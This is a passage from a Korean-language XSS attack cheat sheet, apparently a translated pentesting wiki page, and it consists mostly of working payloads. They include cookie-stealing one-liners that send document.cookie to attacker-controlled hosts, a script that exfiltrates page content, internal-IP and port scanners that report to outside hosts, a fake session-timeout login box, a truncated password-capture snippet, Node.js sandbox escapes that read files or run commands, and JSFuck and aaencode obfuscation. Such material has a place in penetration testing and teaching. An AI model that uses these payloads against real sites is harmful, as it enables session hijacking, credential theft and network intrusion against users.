  • text/plain (?? ๋ชฉ๋ก์—๋Š” ์—†์ง€๋งŒ CTF์—์„œ ๋ณธ ๊ฒƒ ๊ฐ™์Šต๋‹ˆ๋‹ค)
  • application/rss+xml (off)
  • application/atom+xml (off)

๋‹ค๋ฅธ ๋ธŒ๋ผ์šฐ์ €์—์„œ๋Š” ๋‹ค๋ฅธ **Content-Types**๊ฐ€ ์ž„์˜์˜ JS๋ฅผ ์‹คํ–‰ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํ™•์ธ: https://github.com/BlackFan/content-type-research/blob/master/XSS.md

xml Content Type

ํŽ˜์ด์ง€๊ฐ€ text/xml content-type์„ ๋ฐ˜ํ™˜ํ•˜๋ฉด ๋„ค์ž„์ŠคํŽ˜์ด์Šค๋ฅผ ์ง€์ •ํ•˜์—ฌ ์ž„์˜์˜ JS๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>

<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->

ํŠน์ˆ˜ ์น˜ํ™˜ ํŒจํ„ด

๋‹ค์Œ๊ณผ ๊ฐ™์€ ์ฝ”๋“œ๊ฐ€ ์‚ฌ์šฉ๋  ๋•Œ: "some {{template}} data".replace("{{template}}", <user_input>) ๊ณต๊ฒฉ์ž๋Š” ์ผ๋ถ€ ๋ณดํ˜ธ๋ฅผ ์šฐํšŒํ•˜๊ธฐ ์œ„ํ•ด special string replacements๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))

์˜ˆ๋ฅผ ๋“ค์–ด this writeup์—์„œ๋Š”, ์ด๊ฒƒ์œผ๋กœ ์Šคํฌ๋ฆฝํŠธ ๋‚ด๋ถ€์˜ JSON ๋ฌธ์ž์—ด์„ ์ด์Šค์ผ€์ดํ”„ํ•˜๊ณ  ์ž„์˜์˜ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ–ˆ์Šต๋‹ˆ๋‹ค.

Chrome Cache to XSS

Chrome Cache to XSS

XS Jails Escape

์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ๋ฌธ์ž๊ฐ€ ์ œํ•œ๋˜์–ด ์žˆ๋Š” ๊ฒฝ์šฐ, XSJail ๋ฌธ์ œ์— ๋Œ€ํ•œ ๋‹ค์Œ ๋‹ค๋ฅธ ์œ ํšจํ•œ ํ•ด๊ฒฐ์ฑ…๋“ค์„ ํ™•์ธํ•˜์„ธ์š”:

// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))

// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))

with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))

//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()

// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE

์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๊ธฐ ์ „์— everything is undefined ์ƒํƒœ๋ผ๋ฉด(์˜ˆ: this writeup) ์ž„์˜์˜ ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ์ฝ”๋“œ ์‹คํ–‰์„ ์•…์šฉํ•˜๊ธฐ ์œ„ํ•ด ์œ ์šฉํ•œ ๊ฐ์ฒด๋“ค์„ โ€œ๋ฌด(็„ก)์—์„œโ€ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

  • import() ์‚ฌ์šฉ
// although import "fs" doesnโ€™t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
  • require์— ๊ฐ„์ ‘์ ์œผ๋กœ ์ ‘๊ทผํ•˜๊ธฐ

According to this ๋ชจ๋“ˆ์€ Node.js์— ์˜ํ•ด ๋‹ค์Œ๊ณผ ๊ฐ™์ด ํ•จ์ˆ˜ ๋‚ด๋ถ€๋กœ ๊ฐ์‹ธ์ง‘๋‹ˆ๋‹ค:

;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})

๋”ฐ๋ผ์„œ, ํ•ด๋‹น ๋ชจ๋“ˆ์—์„œ ๋‹ค๋ฅธ ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, ๊ทธ ํ•จ์ˆ˜ ์•ˆ์—์„œ arguments.callee.caller.arguments[1]์„ ์‚ฌ์šฉํ•ด **require**์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()

์•ž์„  ์˜ˆ์™€ ์œ ์‚ฌํ•˜๊ฒŒ, ๋ชจ๋“ˆ์˜ wrapper์— ์ ‘๊ทผํ•˜๊ณ  require ํ•จ์ˆ˜๋ฅผ ์–ป๊ธฐ ์œ„ํ•ด use error handlers๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋‹ค:

try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()

Obfuscation & Advanced Bypass

//Katana
<script>
([,ใ‚ฆ,,,,ใ‚ข]=[]+{}
,[ใƒ,ใƒ›,ใƒŒ,ใ‚ป,,ใƒŸ,ใƒ,ใƒ˜,,,ใƒŠ]=[!!ใ‚ฆ]+!ใ‚ฆ+ใ‚ฆ.ใ‚ฆ)[ใƒ„=ใ‚ข+ใ‚ฆ+ใƒŠ+ใƒ˜+ใƒ+ใƒ›+ใƒŒ+ใ‚ข+ใƒ+ใ‚ฆ+ใƒ›][ใƒ„](ใƒŸ+ใƒ+ใ‚ป+ใƒ›+ใƒ+'(-~ใ‚ฆ)')()
</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
//aaencode
๏พŸฯ‰๏พŸ๏พ‰ = /๏ฝ€๏ฝยด๏ผ‰๏พ‰ ~โ”ปโ”โ”ป   / /*ยดโˆ‡๏ฝ€*/["_"]
o = ๏พŸ๏ฝฐ๏พŸ = _ = 3
c = ๏พŸฮ˜๏พŸ = ๏พŸ๏ฝฐ๏พŸ - ๏พŸ๏ฝฐ๏พŸ
๏พŸะ”๏พŸ = ๏พŸฮ˜๏พŸ = (o ^ _ ^ o) / (o ^ _ ^ o)
๏พŸะ”๏พŸ = {
๏พŸฮ˜๏พŸ: "_",
๏พŸฯ‰๏พŸ๏พ‰: ((๏พŸฯ‰๏พŸ๏พ‰ == 3) + "_")[๏พŸฮ˜๏พŸ],
๏พŸ๏ฝฐ๏พŸ๏พ‰: (๏พŸฯ‰๏พŸ๏พ‰ + "_")[o ^ _ ^ (o - ๏พŸฮ˜๏พŸ)],
๏พŸะ”๏พŸ๏พ‰: ((๏พŸ๏ฝฐ๏พŸ == 3) + "_")[๏พŸ๏ฝฐ๏พŸ],
}
๏พŸะ”๏พŸ[๏พŸฮ˜๏พŸ] = ((๏พŸฯ‰๏พŸ๏พ‰ == 3) + "_")[c ^ _ ^ o]
๏พŸะ”๏พŸ["c"] = (๏พŸะ”๏พŸ + "_")[๏พŸ๏ฝฐ๏พŸ + ๏พŸ๏ฝฐ๏พŸ - ๏พŸฮ˜๏พŸ]
๏พŸะ”๏พŸ["o"] = (๏พŸะ”๏พŸ + "_")[๏พŸฮ˜๏พŸ]
๏พŸo๏พŸ =
๏พŸะ”๏พŸ["c"] +
๏พŸะ”๏พŸ["o"] +
(๏พŸฯ‰๏พŸ๏พ‰ + "_")[๏พŸฮ˜๏พŸ] +
((๏พŸฯ‰๏พŸ๏พ‰ == 3) + "_")[๏พŸ๏ฝฐ๏พŸ] +
(๏พŸะ”๏พŸ + "_")[๏พŸ๏ฝฐ๏พŸ + ๏พŸ๏ฝฐ๏พŸ] +
((๏พŸ๏ฝฐ๏พŸ == 3) + "_")[๏พŸฮ˜๏พŸ] +
((๏พŸ๏ฝฐ๏พŸ == 3) + "_")[๏พŸ๏ฝฐ๏พŸ - ๏พŸฮ˜๏พŸ] +
๏พŸะ”๏พŸ["c"] +
(๏พŸะ”๏พŸ + "_")[๏พŸ๏ฝฐ๏พŸ + ๏พŸ๏ฝฐ๏พŸ] +
๏พŸะ”๏พŸ["o"] +
((๏พŸ๏ฝฐ๏พŸ == 3) + "_")[๏พŸฮ˜๏พŸ]
๏พŸะ”๏พŸ["_"] = (o ^ _ ^ o)[๏พŸo๏พŸ][๏พŸo๏พŸ]
๏พŸฮต๏พŸ =
((๏พŸ๏ฝฐ๏พŸ == 3) + "_")[๏พŸฮ˜๏พŸ] +
๏พŸะ”๏พŸ.๏พŸะ”๏พŸ๏พ‰ +
(๏พŸะ”๏พŸ + "_")[๏พŸ๏ฝฐ๏พŸ + ๏พŸ๏ฝฐ๏พŸ] +
((๏พŸ๏ฝฐ๏พŸ == 3) + "_")[o ^ _ ^ (o - ๏พŸฮ˜๏พŸ)] +
((๏พŸ๏ฝฐ๏พŸ == 3) + "_")[๏พŸฮ˜๏พŸ] +
(๏พŸฯ‰๏พŸ๏พ‰ + "_")[๏พŸฮ˜๏พŸ]
๏พŸ๏ฝฐ๏พŸ += ๏พŸฮ˜๏พŸ
๏พŸะ”๏พŸ[๏พŸฮต๏พŸ] = "\\"
๏พŸะ”๏พŸ.๏พŸฮ˜๏พŸ๏พ‰ = (๏พŸะ”๏พŸ + ๏พŸ๏ฝฐ๏พŸ)[o ^ _ ^ (o - ๏พŸฮ˜๏พŸ)]
o๏พŸ๏ฝฐ๏พŸo = (๏พŸฯ‰๏พŸ๏พ‰ + "_")[c ^ _ ^ o]
๏พŸะ”๏พŸ[๏พŸo๏พŸ] = '"'
๏พŸะ”๏พŸ["_"](
๏พŸะ”๏พŸ["_"](
๏พŸฮต๏พŸ +
๏พŸะ”๏พŸ[๏พŸo๏พŸ] +
๏พŸะ”๏พŸ[๏พŸฮต๏พŸ] +
๏พŸฮ˜๏พŸ +
๏พŸ๏ฝฐ๏พŸ +
๏พŸฮ˜๏พŸ +
๏พŸะ”๏พŸ[๏พŸฮต๏พŸ] +
๏พŸฮ˜๏พŸ +
(๏พŸ๏ฝฐ๏พŸ + ๏พŸฮ˜๏พŸ) +
๏พŸ๏ฝฐ๏พŸ +
๏พŸะ”๏พŸ[๏พŸฮต๏พŸ] +
๏พŸฮ˜๏พŸ +
๏พŸ๏ฝฐ๏พŸ +
(๏พŸ๏ฝฐ๏พŸ + ๏พŸฮ˜๏พŸ) +
๏พŸะ”๏พŸ[๏พŸฮต๏พŸ] +
๏พŸฮ˜๏พŸ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ๏พŸฮ˜๏พŸ) +
๏พŸะ”๏พŸ[๏พŸฮต๏พŸ] +
๏พŸฮ˜๏พŸ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
๏พŸ๏ฝฐ๏พŸ +
๏พŸะ”๏พŸ[๏พŸฮต๏พŸ] +
(๏พŸ๏ฝฐ๏พŸ + ๏พŸฮ˜๏พŸ) +
(c ^ _ ^ o) +
๏พŸะ”๏พŸ[๏พŸฮต๏พŸ] +
๏พŸ๏ฝฐ๏พŸ +
((o ^ _ ^ o) - ๏พŸฮ˜๏พŸ) +
๏พŸะ”๏พŸ[๏พŸฮต๏พŸ] +
๏พŸฮ˜๏พŸ +
๏พŸฮ˜๏พŸ +
(c ^ _ ^ o) +
๏พŸะ”๏พŸ[๏พŸฮต๏พŸ] +
๏พŸฮ˜๏พŸ +
๏พŸ๏ฝฐ๏พŸ +
(๏พŸ๏ฝฐ๏พŸ + ๏พŸฮ˜๏พŸ) +
๏พŸะ”๏พŸ[๏พŸฮต๏พŸ] +
๏พŸฮ˜๏พŸ +
(๏พŸ๏ฝฐ๏พŸ + ๏พŸฮ˜๏พŸ) +
๏พŸ๏ฝฐ๏พŸ +
๏พŸะ”๏พŸ[๏พŸฮต๏พŸ] +
๏พŸฮ˜๏พŸ +
(๏พŸ๏ฝฐ๏พŸ + ๏พŸฮ˜๏พŸ) +
๏พŸ๏ฝฐ๏พŸ +
๏พŸะ”๏พŸ[๏พŸฮต๏พŸ] +
๏พŸฮ˜๏พŸ +
(๏พŸ๏ฝฐ๏พŸ + ๏พŸฮ˜๏พŸ) +
(๏พŸ๏ฝฐ๏พŸ + (o ^ _ ^ o)) +
๏พŸะ”๏พŸ[๏พŸฮต๏พŸ] +
(๏พŸ๏ฝฐ๏พŸ + ๏พŸฮ˜๏พŸ) +
๏พŸ๏ฝฐ๏พŸ +
๏พŸะ”๏พŸ[๏พŸฮต๏พŸ] +
๏พŸ๏ฝฐ๏พŸ +
(c ^ _ ^ o) +
๏พŸะ”๏พŸ[๏พŸฮต๏พŸ] +
๏พŸฮ˜๏พŸ +
๏พŸฮ˜๏พŸ +
((o ^ _ ^ o) - ๏พŸฮ˜๏พŸ) +
๏พŸะ”๏พŸ[๏พŸฮต๏พŸ] +
๏พŸฮ˜๏พŸ +
๏พŸ๏ฝฐ๏พŸ +
๏พŸฮ˜๏พŸ +
๏พŸะ”๏พŸ[๏พŸฮต๏พŸ] +
๏พŸฮ˜๏พŸ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
๏พŸะ”๏พŸ[๏พŸฮต๏พŸ] +
๏พŸฮ˜๏พŸ +
๏พŸ๏ฝฐ๏พŸ +
๏พŸฮ˜๏พŸ +
๏พŸะ”๏พŸ[๏พŸฮต๏พŸ] +
๏พŸฮ˜๏พŸ +
((o ^ _ ^ o) - ๏พŸฮ˜๏พŸ) +
(o ^ _ ^ o) +
๏พŸะ”๏พŸ[๏พŸฮต๏พŸ] +
๏พŸฮ˜๏พŸ +
๏พŸ๏ฝฐ๏พŸ +
(o ^ _ ^ o) +
๏พŸะ”๏พŸ[๏พŸฮต๏พŸ] +
๏พŸฮ˜๏พŸ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ๏พŸฮ˜๏พŸ) +
๏พŸะ”๏พŸ[๏พŸฮต๏พŸ] +
๏พŸฮ˜๏พŸ +
(๏พŸ๏ฝฐ๏พŸ + ๏พŸฮ˜๏พŸ) +
๏พŸฮ˜๏พŸ +
๏พŸะ”๏พŸ[๏พŸฮต๏พŸ] +
๏พŸฮ˜๏พŸ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
๏พŸะ”๏พŸ[๏พŸฮต๏พŸ] +
๏พŸฮ˜๏พŸ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
๏พŸ๏ฝฐ๏พŸ +
๏พŸะ”๏พŸ[๏พŸฮต๏พŸ] +
๏พŸ๏ฝฐ๏พŸ +
((o ^ _ ^ o) - ๏พŸฮ˜๏พŸ) +
๏พŸะ”๏พŸ[๏พŸฮต๏พŸ] +
(๏พŸ๏ฝฐ๏พŸ + ๏พŸฮ˜๏พŸ) +
๏พŸฮ˜๏พŸ +
๏พŸะ”๏พŸ[๏พŸo๏พŸ]
)(๏พŸฮ˜๏พŸ)
)("_")
// It's also possible to execute JS code only with the chars: []`+!${}

XSS ๊ณตํ†ต payloads

์—ฌ๋Ÿฌ payloads๋ฅผ ํ•˜๋‚˜๋กœ

Steal Info JS

Iframe Trap

์‚ฌ์šฉ์ž๊ฐ€ iframe์„ ๋ฒ—์–ด๋‚˜์ง€ ์•Š๊ณ  ํŽ˜์ด์ง€ ๋‚ด์—์„œ ์ด๋™ํ•˜๋„๋ก ์œ ๋„ํ•˜์—ฌ ๊ทธ ํ–‰์œ„(ํผ์— ์ „์†ก๋œ ์ •๋ณด ํฌํ•จ)๋ฅผ ํƒˆ์ทจํ•ฉ๋‹ˆ๋‹ค:

Iframe Traps

Cookies ๊ฐ€์ ธ์˜ค๊ธฐ

<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>

Tip

HTTPOnly ํ”Œ๋ž˜๊ทธ๊ฐ€ cookie์— ์„ค์ •๋˜์–ด ์žˆ์œผ๋ฉด JavaScript์—์„œ cookies์— ์ ‘๊ทผํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค. ํ•˜์ง€๋งŒ ์šด์ด ์ข‹๋‹ค๋ฉด some ways to bypass this protection์„(๋ฅผ) ์ด์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

ํŽ˜์ด์ง€ ์ฝ˜ํ…์ธ  ํƒˆ์ทจ

var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)

๋‚ด๋ถ€ IPs ์ฐพ๊ธฐ

<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51

// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}

// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}

function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})

setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>

ํฌํŠธ ์Šค์บ๋„ˆ (fetch)

const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }

Port Scanner (websockets)

var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}

์งง์€ ์‹œ๊ฐ„์€ ํฌํŠธ๊ฐ€ ์‘๋‹ตํ•จ์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค ๊ธด ์‹œ๊ฐ„์€ ์‘๋‹ต ์—†์Œ์˜ ์˜๋ฏธ์ž…๋‹ˆ๋‹ค.

Chrome์—์„œ ๊ธˆ์ง€๋œ ํฌํŠธ ๋ชฉ๋ก์€ here์—์„œ ํ™•์ธํ•˜๊ณ  Firefox์—์„œ๋Š” here์—์„œ ํ™•์ธํ•˜์„ธ์š”.

์ž๊ฒฉ ์ฆ๋ช…์„ ์š”์ฒญํ•˜๋Š” ๋ฐ•์Šค

<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>

์ž๋™ ์™„์„ฑ ๋น„๋ฐ€๋ฒˆํ˜ธ ์บก์ฒ˜

<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
